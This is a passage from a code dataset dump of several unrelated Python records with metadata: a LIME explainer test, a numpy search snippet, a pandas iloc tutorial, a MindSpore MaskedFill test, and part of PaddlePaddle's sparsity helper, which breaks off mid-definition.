numerical\n    with pytest.raises(ValueError) as exin:\n        lime.explain_instance(np.ones((5, ), dtype='U1'))\n    assert str(exin.value) == value_error_explain\n\n\ndef test_explain_instance_classification(caplog):\n    \"\"\"\n    Tests :mod:`fatf.transparency.lime.Lime.explain_instance` method.\n\n    These tests are for a classification task.\n    \"\"\"\n    runtime_error_no_predictor = 'A predictive function is not available.'\n    runtime_error_non_prob = ('The predictive model is not probabilistic. '\n                              'Please specify a predictive function instead.')\n\n    # Check logging\n    assert len(caplog.records) == 0\n\n    # Non-probabilistic model -- function -- probabilistic function\n    with pytest.warns(None) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            model=CLF_NON_PROBA,\n            predict_fn=CLF.predict_proba,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 2\n    assert str(warning[0].message) == FUTURE_WARNING\n    assert str(warning[1].message) == USER_WARNING_MODEL_PRED\n    explained = lime.explain_instance(SAMPLE, predict_fn=CLF.predict_proba)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n    # Non-probabilistic model -- function -- no function\n    with pytest.warns(None) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            model=CLF_NON_PROBA,\n            predict_fn=CLF.predict_proba,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 2\n    assert str(warning[0].message) == FUTURE_WARNING\n    assert str(warning[1].message) == USER_WARNING_MODEL_PRED\n    explained = lime.explain_instance(SAMPLE)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n    # Non-probabilistic model -- no function -- probabilistic function\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            model=CLF_NON_PROBA,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE, predict_fn=CLF.predict_proba)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n    # Non-probabilistic model -- no function -- no function\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            model=CLF_NON_PROBA,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    with pytest.raises(RuntimeError) as exin:\n        lime.explain_instance(SAMPLE_STRUCT)\n    assert str(exin.value) == runtime_error_non_prob\n\n    # Check logging\n    assert len(caplog.records) == 4\n    for i in range(4):\n        assert caplog.records[i].levelname == 'WARNING'\n        assert caplog.records[i].getMessage() == LOG_WARNING\n\n    # No model -- function -- probabilistic function\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_STRUCT_ARRAY,\n            predict_fn=CLF.predict_proba,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE, predict_fn=CLF.predict_proba)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n    # No model -- function -- no function\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_STRUCT_ARRAY,\n            predict_fn=CLF.predict_proba,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n    # No model -- no function -- probabilistic function\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE, predict_fn=CLF.predict_proba)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n    # No model -- no function -- no function\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    with pytest.raises(RuntimeError) as exin:\n        lime.explain_instance(SAMPLE)\n    assert str(exin.value) == runtime_error_no_predictor\n\n    # Check logging\n    assert len(caplog.records) == 4\n\n    # Probabilistic model -- probabilistic function -- empty call\n    with pytest.warns(None) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            model=CLF,\n            predict_fn=CLF.predict_proba,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 2\n    assert str(warning[0].message) == FUTURE_WARNING\n    assert str(warning[1].message) == USER_WARNING_MODEL_PRED\n    explained = lime.explain_instance(SAMPLE_STRUCT)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n    #\n    # Probabilistic model -- probabilistic function -- non-empty call\n    with pytest.warns(None) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            model=CLF,\n            predict_fn=CLF.predict_proba,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 2\n    assert str(warning[0].message) == FUTURE_WARNING\n    assert str(warning[1].message) == USER_WARNING_MODEL_PRED\n    explained = lime.explain_instance(SAMPLE, predict_fn=CLF.predict_proba)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n    #\n    # Probabilistic model -- no function -- empty call\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_STRUCT_ARRAY,\n            model=CLF,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n    #\n    # Probabilistic model -- no function -- non-empty call\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_STRUCT_ARRAY,\n            model=CLF,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(\n        SAMPLE_STRUCT, predict_fn=CLF.predict_proba)\n    assert futt.is_explanation_equal_list(explained, NUMERICAL_RESULTS)\n\n    # Check logging\n    assert len(caplog.records) == 4\n\n    ###########################################################################\n    # Test with categorical features: feat0 and feat1\n\n    cat_feat = [0, 1]\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            model=CLF,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES,\n            categorical_features=cat_feat)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE_STRUCT)\n    assert futt.is_explanation_equal_list(CATEGORICAL_RESULTS, explained)\n\n    cat_feat = ['a', 'b']\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_STRUCT_ARRAY,\n            model=CLF,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES,\n            categorical_features=cat_feat)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE)\n    assert futt.is_explanation_equal_list(CATEGORICAL_RESULTS, explained)\n\n    # Check logging\n    assert len(caplog.records) == 4\n\n\ndef test_explain_instance_regression(caplog):\n    \"\"\"\n    Tests :mod:`fatf.transparency.lime.Lime.explain_instance` method.\n\n    These tests are for a regression task.\n    \"\"\"\n    # Check logging\n    assert len(caplog.records) == 0\n\n    # Regression a non-probabilistic model\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_STRUCT_ARRAY,\n            mode='regression',\n            model=CLF_NON_PROBA,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE)\n    assert futt.is_explanation_equal_list({'a': explained},\n                                          {'a': REGRESSION_RESULTS})\n\n    # Check logging\n    assert len(caplog.records) == 1\n    assert caplog.records[0].levelname == 'WARNING'\n    assert caplog.records[0].getMessage() == LOG_WARNING\n\n    # Regression a probabilistic model\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            mode='regression',\n            model=CLF,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE_STRUCT)\n    assert futt.is_explanation_equal_list({'a': explained},\n                                          {'a': REGRESSION_RESULTS})\n\n    # Regression with a model and function\n    with pytest.warns(None) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_STRUCT_ARRAY,\n            mode='regression',\n            model=CLF,\n            predict_fn=CLF_NON_PROBA.predict,\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 2\n    assert str(warning[0].message) == FUTURE_WARNING\n    assert str(warning[1].message) == USER_WARNING_MODEL_PRED\n    explained = lime.explain_instance(SAMPLE_STRUCT)\n    assert futt.is_explanation_equal_list({'a': explained},\n                                          {'a': REGRESSION_RESULTS})\n\n    # Regression without a model\n    with pytest.warns(FutureWarning) as warning:\n        lime = ftl.Lime(\n            futt.NUMERICAL_NP_ARRAY,\n            mode='regression',\n            class_names=CLASS_NAMES,\n            feature_names=FEATURE_NAMES)\n    assert len(warning) == 1\n    assert str(warning[0].message) == FUTURE_WARNING\n    explained = lime.explain_instance(SAMPLE, predict_fn=CLF_NON_PROBA.predict)\n    assert futt.is_explanation_equal_list({'a': explained},\n                                          {'a': REGRESSION_RESULTS})\n\n    # Check logging\n    assert len(caplog.records) == 1\n", "meta": {"hexsha": "ee1c8bd3e1b254b426a21475642b0fc173f44e9d", "size": 21797, "ext": "py", "lang": "Python", "max_stars_repo_path": "fatf/transparency/tests/test_lime.py", "max_stars_repo_name": "perellonieto/fat-forensics", "max_stars_repo_head_hexsha": "0fd975ec743c5f44fc29bb2a499a2c1067bdbeff", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "fatf/transparency/tests/test_lime.py", "max_issues_repo_name": "perellonieto/fat-forensics", "max_issues_repo_head_hexsha": "0fd975ec743c5f44fc29bb2a499a2c1067bdbeff", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "fatf/transparency/tests/test_lime.py", "max_forks_repo_name": "perellonieto/fat-forensics", "max_forks_repo_head_hexsha": "0fd975ec743c5f44fc29bb2a499a2c1067bdbeff", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.1418047882, "max_line_length": 79, "alphanum_fraction": 0.6393540395, "include": true, "reason": "import numpy", "num_tokens": 5399, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.39981165504266236, "lm_q2_score": 0.12592275499444552, "lm_q1q2_score": 0.05034538508186094}}
{"text": "# Question: Find an element in a numpy array\r\n\r\nimport numpy as np\r\n\r\ndef find_element(arr, elem):\r\n\r\n    for i in range(len(arr)):\r\n        if arr[i] == elem:\r\n            return i\r\n\r\nmy_array = np.array([1,2,3,4,5,6,7,8,9])\r\nprint(find_element(my_array, 6))\r\nprint(find_element(my_array, 11))\r\n", "meta": {"hexsha": "d3202af6f99e75afd390c52b1d83016399cd3d9d", "size": 296, "ext": "py", "lang": "Python", "max_stars_repo_path": "interviewee/02_arrays_lists/03_search_in_array.py", "max_stars_repo_name": "Anshul-GH/interview_prep", "max_stars_repo_head_hexsha": "0a30e980e910afbae4ad086dc7ff3b339eba4ec0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-10-10T10:14:27.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-10T10:14:27.000Z", "max_issues_repo_path": "interviewee/02_arrays_lists/03_search_in_array.py", "max_issues_repo_name": "Anshul-GH/interview_prep", "max_issues_repo_head_hexsha": "0a30e980e910afbae4ad086dc7ff3b339eba4ec0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "interviewee/02_arrays_lists/03_search_in_array.py", "max_forks_repo_name": "Anshul-GH/interview_prep", "max_forks_repo_head_hexsha": "0a30e980e910afbae4ad086dc7ff3b339eba4ec0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.1428571429, "max_line_length": 45, "alphanum_fraction": 0.6148648649, "include": true, "reason": "import numpy", "num_tokens": 85, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814648038986, "lm_q2_score": 0.11596070756094144, "lm_q1q2_score": 0.050324797726993886}}
{"text": "# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: krakowiakpawel9@gmail.com\n@site: e-smartdata.org\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\n\n# %% creating dataset\nnp.random.seed(0)\ndf = pd.DataFrame(np.random.randn(20, 5),\n                  columns=list('abcde'),\n                  index=list('abcdefghijklmnoprstu'))\n\n# %% iloc[row_indexer, column_indexer]\n# integer position based\n\n# by col\ncol_1 = df.iloc[:, 0]\ncol_2 = df.iloc[:, 1]\n\ncol_1_df = df.iloc[:, 0:1]\ncol_2_df = df.iloc[:, 1:2]\n\ncol_1_2 = df.iloc[:, 0:2]\ncol_1_3 = df.iloc[:, [0, 2]]\n\ncol_last = df.iloc[:, -1]\ncol_last_df = df.iloc[:, -1:]\n\ncol_by_2 = df.iloc[:, ::2]\n\n# by row\nrow_1 = df.iloc[0, :]\nrow_1_df = df.iloc[0:1, :]\n\nrow_1_2 = df.iloc[0:2, :]\nrow_1_4 = df.iloc[[0, 3], :]\n\nrow_last = df.iloc[-1, :]\nrow_last_df = df.iloc[-1:, :]\n\nrow_by_2 = df.iloc[::2, :]\nrow_by_3 = df.iloc[::3, :]\n", "meta": {"hexsha": "04a76fb2c32bc506c3c8cfe7b678e00c9cbd34a9", "size": 852, "ext": "py", "lang": "Python", "max_stars_repo_path": "02_slicing/03_iloc.py", "max_stars_repo_name": "krakowiakpawel9/pandas_course", "max_stars_repo_head_hexsha": "83f485faf7cc77adf74840f2cc37347dc6b17af3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-05-17T09:39:33.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-27T23:25:50.000Z", "max_issues_repo_path": "02_slicing/03_iloc.py", "max_issues_repo_name": "krakowiakpawel9/pandas_course", "max_issues_repo_head_hexsha": "83f485faf7cc77adf74840f2cc37347dc6b17af3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "02_slicing/03_iloc.py", "max_forks_repo_name": "krakowiakpawel9/pandas_course", "max_forks_repo_head_hexsha": "83f485faf7cc77adf74840f2cc37347dc6b17af3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2020-04-01T15:47:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-20T18:31:55.000Z", "avg_line_length": 17.75, "max_line_length": 53, "alphanum_fraction": 0.5903755869, "include": true, "reason": "import numpy", "num_tokens": 310, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.10818895312434518, "lm_q1q2_score": 0.050297214312749944}}
{"text": "# Copyright 2022 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\nimport numpy as np\nimport pytest\n\nimport mindspore.context as context\nimport mindspore.nn as nn\nfrom mindspore import Tensor\nfrom mindspore.ops import operations as P\n\ncontext.set_context(mode=context.GRAPH_MODE, device_target=\"CPU\")\n\n\nclass MaskedFillNet(nn.Cell):\n    def __init__(self):\n        super(MaskedFillNet, self).__init__()\n        self.maskedfill = P.MaskedFill()\n\n    def construct(self, inputs, mask, value):\n        return self.maskedfill(inputs, mask, value)\n\n\ndef maskedfill_fun(ntype):\n    maskedfill_net = MaskedFillNet()\n\n    inputs = Tensor(np.array([[1, 2, 3, 4], [5, 6, 7, 8]]).astype(ntype))\n    mask = Tensor(np.array([[True, True, False, True], [False, False, True, False]]).astype(np.bool))\n    value = Tensor(np.array(22).astype(ntype))\n    expect = np.array([[22, 22, 3, 22], [5, 6, 22, 8]]).astype(ntype)\n    output = maskedfill_net(inputs, mask, value)\n    assert (output.asnumpy() == expect).all()\n\n    mask = Tensor(np.array([[True, True, True, True], [True, True, True, True]]).astype(np.bool))\n    value = Tensor(np.array(1).astype(ntype))\n    expect = np.array([[1, 1, 1, 1], [1, 1, 1, 1]]).astype(ntype)\n    output = maskedfill_net(inputs, mask, value)\n    assert (output.asnumpy() == expect).all()\n\n    mask = Tensor(np.array([[False, False, False, False], [False, False, False, False]]).astype(np.bool))\n    value = Tensor(np.array(22).astype(ntype))\n    expect = np.array([[1, 2, 3, 4], [5, 6, 7, 8]]).astype(ntype)\n    output = maskedfill_net(inputs, mask, value)\n    assert (output.asnumpy() == expect).all()\n\n    # BroadCast\n    mask = Tensor(np.array([True, True, False, True]).astype(np.bool))\n    value = Tensor(np.array(22).astype(ntype))\n    expect = np.array([[22, 22, 3, 22], [22, 22, 7, 22]]).astype(ntype)\n    output = maskedfill_net(inputs, mask, value)\n    assert (output.asnumpy() == expect).all()\n\n\n@pytest.mark.level0\n@pytest.mark.platform_x86_cpu\n@pytest.mark.env_onecard\ndef test_maskedfill_float():\n    \"\"\"\n    Feature: Test MaskedFill op.\n    Description: Test MaskedFill with float input.\n    Expectation: The result match to expect.\n    \"\"\"\n    maskedfill_fun(np.float32)\n\n\n@pytest.mark.level0\n@pytest.mark.platform_x86_cpu\n@pytest.mark.env_onecard\ndef test_maskedfill_float16():\n    \"\"\"\n    Feature: Test MaskedFill op.\n    Description: Test MaskedFill with float16 input.\n    Expectation: The result match to expect.\n    \"\"\"\n    maskedfill_fun(np.float16)\n\n\n@pytest.mark.level0\n@pytest.mark.platform_x86_cpu\n@pytest.mark.env_onecard\ndef test_maskedfill_int():\n    \"\"\"\n    Feature: Test MaskedFill op.\n    Description: Test MaskedFill with int input.\n    Expectation: The result match to expect.\n    \"\"\"\n    maskedfill_fun(np.int32)\n\n\n@pytest.mark.level0\n@pytest.mark.platform_x86_cpu\n@pytest.mark.env_onecard\ndef test_maskedfill_int8():\n    \"\"\"\n    Feature: Test MaskedFill op.\n    Description: Test MaskedFill with int8 input.\n    Expectation: The result match to expect.\n    \"\"\"\n    maskedfill_fun(np.int8)\n\n\ndef maskedfill_value(value):\n    maskedfill_net = MaskedFillNet()\n    inputs = Tensor(np.array([1, 2, 3, 4]).astype(np.float32))\n    mask = Tensor(np.array([True, True, False, True]).astype(np.bool))\n    expect = np.array([0.5, 0.5, 3, 0.5]).astype(np.float32)\n    output = maskedfill_net(inputs, mask, value)\n    assert (output.asnumpy() == expect).all()\n\n\n@pytest.mark.level0\n@pytest.mark.platform_x86_cpu\n@pytest.mark.env_onecard\ndef test_maskedfill_float_value():\n    \"\"\"\n    Feature: Test MaskedFill op.\n    Description: Test MaskedFill with float value.\n    Expectation: The result match to expect.\n    \"\"\"\n    maskedfill_value(0.5)\n\n\n@pytest.mark.level0\n@pytest.mark.platform_x86_cpu\n@pytest.mark.env_onecard\ndef test_maskedfill_tensor_value():\n    \"\"\"\n    Feature: Test MaskedFill op.\n    Description: Test MaskedFill with tensor input.\n    Expectation: The result match to expect.\n    \"\"\"\n    maskedfill_value(Tensor(0.5))\n", "meta": {"hexsha": "a55efe5bfc7c24fc4c7e6a1b71f80b289c951041", "size": 4577, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/st/ops/cpu/test_maskedfill_op.py", "max_stars_repo_name": "httpsgithu/mindspore", "max_stars_repo_head_hexsha": "c29d6bb764e233b427319cb89ba79e420f1e2c64", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-23T09:13:43.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-23T09:13:43.000Z", "max_issues_repo_path": "tests/st/ops/cpu/test_maskedfill_op.py", "max_issues_repo_name": "949144093/mindspore", "max_issues_repo_head_hexsha": "c29d6bb764e233b427319cb89ba79e420f1e2c64", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/st/ops/cpu/test_maskedfill_op.py", "max_forks_repo_name": "949144093/mindspore", "max_forks_repo_head_hexsha": "c29d6bb764e233b427319cb89ba79e420f1e2c64", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.5655172414, "max_line_length": 105, "alphanum_fraction": 0.6821061831, "include": true, "reason": "import numpy", "num_tokens": 1220, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.10818894593571948, "lm_q1q2_score": 0.050297210970746555}}
{"text": "# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nFunctions for Auto SParsity (ASP) training and inference.\n\"\"\"\n\nimport copy\nimport numpy as np\nfrom paddle.fluid import framework, global_scope, program_guard, layers\nfrom paddle.fluid.initializer import ConstantInitializer\nfrom paddle.fluid.contrib import sparsity\nfrom paddle.fluid import core\n\n__all__ = ['ASPHelper']\n\nclass OpRelacementInfo(object):\n    def __init__(self, source_type, target_type,\n                param_shape_related_attrs={}, constant_attrs={},\n                source_param_input_name='Y', source_param_idx=0,\n                source_data_input_name='X', source_data_idx=0):\n        self.source_type = source_type\n        self.target_type = target_type\n        self.param_shape_related_attrs = param_shape_related_attrs\n        self.constant_attrs = constant_attrs\n        self.source_param_input_name = source_param_input_name\n        self.source_param_idx = source_param_idx\n        self.source_data_input_name = source_data_input_name\n        self.source_data_idx = source_data_idx\n\n    def is_executable(self, block, op):\n        return True\n\nclass MulSparseOpRelacementInfo(OpRelacementInfo):\n    def __init__(self, source_type,\n                source_param_input_name='Y', source_param_idx=0,\n                source_data_input_name='X', source_data_idx=0):\n\n        param_shape_related_attrs = {'m':1, 'k':0, 'lda':1, 'ldb':0, 'ldc':1}\n        constant_attrs={'is_col_major':True, 'is_transpose_Y':True, 'switch_XY':True}\n\n        super(MulSparseOpRelacementInfo, self).__init__(\n            source_type=source_type, target_type='mul_sparse',\n            param_shape_related_attrs=param_shape_related_attrs,\n            constant_attrs=constant_attrs,\n            source_param_input_name=source_param_input_name,\n            source_param_idx=source_param_idx,\n            source_data_input_name=source_data_input_name,\n            source_data_idx=source_data_idx\n        )\n\n    def is_executable(self, block, op):\n        param_name = op.input(self.source_param_input_name)[self.source_param_idx]\n        param = block.var(param_name)\n\n        data_name = op.input(self.source_data_input_name)[self.source_data_idx]\n        data = block.var(data_name)\n\n        if param is None or data is None:\n            return False\n        if param.dtype != core.VarDesc.VarType.FP16 and \\\n           data.dtype != core.VarDesc.VarType.FP16:\n           return False\n        if (param.shape[1] % 8) or \\\n           (param.shape[0] % 32):\n           return False\n\n        return True\n\n\nclass ASPHelper(object):\n    r\"\"\"\n    ASPHelper is a collection of Auto SParsity (ASP) functions to enable \n\n    1. training models with weights in 2:4 sparse pattern from scratch.\n    2. pruning well-trained models into 2:4 sparse pattern for fine-tuning.\n    \"\"\"\n\n    MASKE_APPENDDED_NAME = '_asp_mask'\n    SUPPORTED_LAYERS = {'fc':'w_0', 'linear':'w_0', 'conv2d':'w_0'}\n\n    DENSE_SPARSE_OP_MAP = {\n        'mul':MulSparseOpRelacementInfo(source_type='mul'),\n        'matmul':MulSparseOpRelacementInfo(source_type='matmul')\n    }\n\n    SPARSE_OP_PARAM_INPUT_NAME_MAP = {\n        'mul_sparse':'Y'\n    }\n\n    __mask_vars = {}\n    __masks = {}\n    __compressed_cache = {}\n    __excluded_layers = []\n\n    @staticmethod\n    def get_mask_name(param_name):\n        r\"\"\"\n        Return mask name by given parameter name :attr:`param_name`.\n\n        Args:\n            param_name (string): The name of parameter.\n        Returns:\n            string: The mask name of :attr:`param_name`.\n        \"\"\"\n        return param_name + ASPHelper.MASKE_APPENDDED_NAME\n\n    @staticmethod\n    def get_vars(main_program):\n        r\"\"\"\n        Get all parameters in :attr:`main_program` excluded ASP mask Variables.\n\n        Args:\n            main_program (Program): Program with model definition and its parameters.\n        Returns:\n            list: A list of parameter Variables in :attr:`main_program` (excluded ASP mask Variables).\n        \"\"\"\n        var_list = []\n        for param in main_program.global_block().all_parameters():\n            if ASPHelper.MASKE_APPENDDED_NAME not in param.name:\n                var_list.append(param)\n        return var_list\n\n    @classmethod\n    def set_excluded_layers(cls, param_names):\n        r\"\"\"\n        Set parameter name of layers which would not be pruned as sparse weights.\n\n        Args:\n            param_names (list): A list contains names of parameters.\n        \"\"\"\n        cls.__excluded_layers = copy.deepcopy(param_names)\n\n    @classmethod\n    def is_supported_layer(cls, param_name):\n        r\"\"\"\n        Verify if given :attr:`param_name` is supported by ASP.\n\n        Args:\n            param_name (string): The name of parameter.\n        Returns:\n            bool: True if it is supported, else False.\n        Examples:\n            .. code-block:: python\n\n              import paddle.fluid as fluid\n              from paddle.fluid.contrib.sparsity import ASPHelper\n\n              main_program = fluid.Program()\n              startup_program = fluid.Program()\n\n              with fluid.program_guard(main_program, startup_program):\n                  input_data = fluid.layers.data(name='data', shape=[None, 128])\n                  fc = fluid.layers.fc(input=input_data, num_flatten_dims=-1, size=32, act=None)\n\n              for param in main_program.global_block().all_parameters():\n                  ASPHelper.is_supported_layer(param.name)\n              # fc_0.w_0 -> True\n              # fc_0.b_0 -> False\n        \"\"\"\n        if ASPHelper.MASKE_APPENDDED_NAME in param_name:\n            return False\n\n        for layer in cls.__excluded_layers:\n            if layer in param_name:\n                return False\n\n        for name in ASPHelper.SUPPORTED_LAYERS:\n            if name in param_name and \\\n               ASPHelper.SUPPORTED_LAYERS[name] in param_name:\n               return True\n        return False\n\n    @classmethod\n    def minimize(cls, loss, optimizer, main_program, start_program):\n        r\"\"\"\n        This function is a decorator of `minimize` function in `Optimizer`.\n        There are three steps:\n\n        1. Call :attr:`optimizer`.minimize(:attr:`loss`)\n        2. Create sparse mask Tensors according to supported layers in :attr:`main_program`.\n        3. Insert masking ops in the end of parameters update.\n\n        Args:\n            loss (Variable): A Variable containing the value to minimize.\n            optimizer (Optimizer): A Optimizer used for training.\n            main_program (Program): Program with model definition and its parameters.\n            start_program (Program): Program for initializing parameters.\n        Returns:\n            list: operators from :attr:`optimizer`.minimize(:attr:`loss`).\n            list: pairs of parameters and their gradients.\n        Examples:\n            .. code-block:: python\n\n              import paddle.fluid as fluid\n              from paddle.fluid.contrib.sparsity import ASPHelper\n\n              main_program = fluid.Program()\n              start_program = fluid.Program()\n\n              with fluid.program_guard(main_program, start_program):\n                    input_data = fluid.layers.data(name='data', shape=[None, 128])\n                    label = fluid.layers.data(name='label', shape=[None, 10])\n                    hidden = fluid.layers.fc(input=input_data, num_flatten_dims=-1, size=32, act=None)\n                    prob = fluid.layers.fc(input=hidden, num_flatten_dims=-1, size=10, act=None)\n                    loss = fluid.layers.mean(fluid.layers.square_error_cost(prob, label))\n\n                    optimizer = fluid.optimizer.SGD(learning_rate=0.1)\n                    ASPHelper.minimize(loss, optimizer, main_program, start_program)\n        \"\"\"\n        optimizer_ops, params_and_grads = optimizer.minimize(loss)\n        cls.create_mask_variables(main_program, start_program, params_and_grads)\n        cls.insert_sparse_mask_ops(main_program, start_program, params_and_grads)\n        return optimizer_ops, params_and_grads\n\n    @classmethod\n    def create_mask_variables(cls, main_program, start_program, 